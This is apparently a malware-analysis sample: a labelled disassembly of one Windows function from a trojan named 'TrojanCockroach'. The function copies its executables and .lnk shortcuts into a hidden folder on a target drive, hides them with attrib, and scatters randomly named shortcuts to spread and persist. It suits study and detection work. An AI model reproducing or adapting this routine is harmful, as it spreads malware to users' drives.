Function at 0x401c4b
Capabilities:
Copy file
Create directory
Create process on windows
Persist via lnk shortcut
Set file attributes

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x348
lea rbp, [rsp + 0x80]
mov eax, ecx
mov byte [rbp + 0x2f0], al
mov qword [rbp + 0x2a6], 0
mov word [rbp + 0x2ae], 0
movzx eax, byte [rbp + 0x2f0]
mov byte [rbp + 0x2a6], al
lea rax, [rbp + 0x2a6]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x2a6]
add rax, rdx
mov word [rax], 0x5c3a
mov byte [rax + 2], 0
lea rax, [rbp + 0x2a6]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x2a6]
add rax, rdx
movabs rbx, 0x6f436e616a6f7274
mov qword [rax], rbx
movabs rsi, 0x6863616f726b63
mov qword [rax + 8], rsi
lea rax, [rbp + 0x2a6]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call rax
test eax, eax
setne al
test al, al
je 0x40220c
lea rax, [rbp + 0x2a6]
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call rax
mov qword [rbp - 0x60], 0
lea rdx, [rbp - 0x58]
mov eax, 0
mov ecx, 0xb
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rdx, [rbp + 0x2a6]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strcat
lea rax, [rbp - 0x60]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp - 0x60]
add rax, rdx
mov word [rax], 0x5c
lea rax, [rbp - 0x60]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp - 0x60]
add rax, rdx
movabs rbx, 0x6f436e616a6f7254
mov qword [rax], rbx
movabs rsi, 0x2e6863616f726b63
mov qword [rax + 8], rsi
mov dword [rax + 0x10], 0x657865
lea rax, [rbp - 0x60]
mov r8d, 1
mov rdx, rax
lea rcx, str.TrojanCockroach.exe
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
mov qword [rbp + 0x10], 0
lea rdx, [rbp + 0x18]
mov eax, 0
mov ecx, 0xb
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rdx, [rbp + 0x2a6]
lea rax, [rbp + 0x10]
mov rcx, rax
call sym.strcat
lea rax, [rbp + 0x10]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x10]
add rax, rdx
mov word [rax], 0x5c
lea rax, [rbp + 0x10]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x10]
add rax, rdx
movabs rdi, 0x74696d736e617254
mov qword [rax], rdi
mov dword [rax + 8], 0x6578652e
mov byte [rax + 0xc], 0
lea rax, [rbp + 0x10]
mov r8d, 1
mov rdx, rax
lea rcx, str.Transmit.exe
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
mov qword [rbp + 0x80], 0
lea rdx, [rbp + 0x88]
mov eax, 0
mov ecx, 0xb
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rdx, [rbp + 0x2a6]
lea rax, [rbp + 0x80]
mov rcx, rax
call sym.strcat
lea rax, [rbp + 0x80]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x80]
add rax, rdx
mov word [rax], 0x5c
lea rax, [rbp + 0x80]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x80]
add rax, rdx
movabs rdi, 0x652e746365666e49
mov qword [rax], rdi
mov word [rax + 8], 0x6578
mov byte [rax + 0xa], 0
lea rax, [rbp + 0x80]
mov r8d, 1
mov rdx, rax
lea rcx, str.Infect.exe
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
mov qword [rbp + 0xf0], 0
lea rdx, [rbp + 0xf8]
mov eax, 0
mov ecx, 0xb
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rdx, [rbp + 0x2a6]
lea rax, [rbp + 0xf0]
mov rcx, rax
call sym.strcat
lea rax, [rbp + 0xf0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0xf0]
add rax, rdx
mov word [rax], 0x5c
lea rax, [rbp + 0xf0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0xf0]
add rax, rdx
mov qword [rax], rbx
mov qword [rax + 8], rsi
mov dword [rax + 0x10], 0x6b6e6c
lea rax, [rbp + 0xf0]
mov r8d, 1
mov rdx, rax
lea rcx, str.TrojanCockroach.lnk
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
mov qword [rbp + 0x160], 0
lea rdx, [rbp + 0x168]
mov eax, 0
mov ecx, 0xb
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rdx, [rbp + 0x2a6]
lea rax, [rbp + 0x160]
mov rcx, rax
call sym.strcat
lea rax, [rbp + 0x160]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x160]
add rax, rdx
mov word [rax], 0x5c
lea rax, [rbp + 0x160]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x160]
add rax, rdx
movabs rbx, 0x6c2e746365666e49
mov qword [rax], rbx
mov word [rax + 8], 0x6b6e
mov byte [rax + 0xa], 0
lea rax, [rbp + 0x160]
mov r8d, 1
mov rdx, rax
lea rcx, str.Infect.lnk
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
mov qword [rbp + 0x1d0], 0
lea rdx, [rbp + 0x1d8]
mov eax, 0
mov ecx, 0xb
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
lea rax, [rbp + 0x1d0]
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov eax, 0
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rcx
not rax
lea rdx, [rax - 1]
lea rax, [rbp + 0x1d0]
add rax, rdx
movabs rsi, 0x2b20626972747461
mov qword [rax], rsi
movabs rbx, 0x20722b20682b2073
mov qword [rax + 8], rbx
mov byte [rax + 0x10], 0
lea rdx, [rbp + 0x2a6]
lea rax, [rbp + 0x1d0]
mov rcx, rax
call sym.strcat
lea rax, [rbp + 0x1d0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WinExec]
call rax
jmp 0x402296
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
call sym.rand
mov dword [rbp + 0x2bc], eax
mov eax, dword [rbp + 0x2bc]
and eax, 1
test eax, eax
je 0x402307
mov ecx, dword [rbp + 0x2bc]
mov edx, 0x55555556
mov eax, ecx
imul edx
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
mov edx, eax
add edx, edx
add edx, eax
mov eax, ecx
sub eax, edx
test eax, eax
je 0x402307
mov edx, dword [rbp + 0x2bc]
movsxd rax, edx
imul rax, rax, 0xffffffff92492493
shr rax, 0x20
add eax, edx
sar eax, 2
mov ecx, eax
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
mov ecx, eax
shl ecx, 3
sub ecx, eax
mov eax, edx
sub eax, ecx
test eax, eax
je 0x402307
lea rdx, [rbp + 0x240]
mov eax, 0
mov ecx, 0xc
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
movzx eax, byte [rbp + 0x2f0]
mov byte [rbp + 0x240], al
call sym.getRandomName__
mov qword [rbp + 0x2b0], rax
mov rdx, qword [rbp + 0x2b0]
lea rax, [rbp + 0x240]
mov rcx, rax
call sym.strcat
lea rax, [rbp + 0x240]
mov r8d, 1
mov rdx, rax
lea rcx, str.Infect.lnk
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
jmp 0x402308
nop
add rsp, 0x348
pop rbx
pop rsi
pop rdi
pop rbp
ret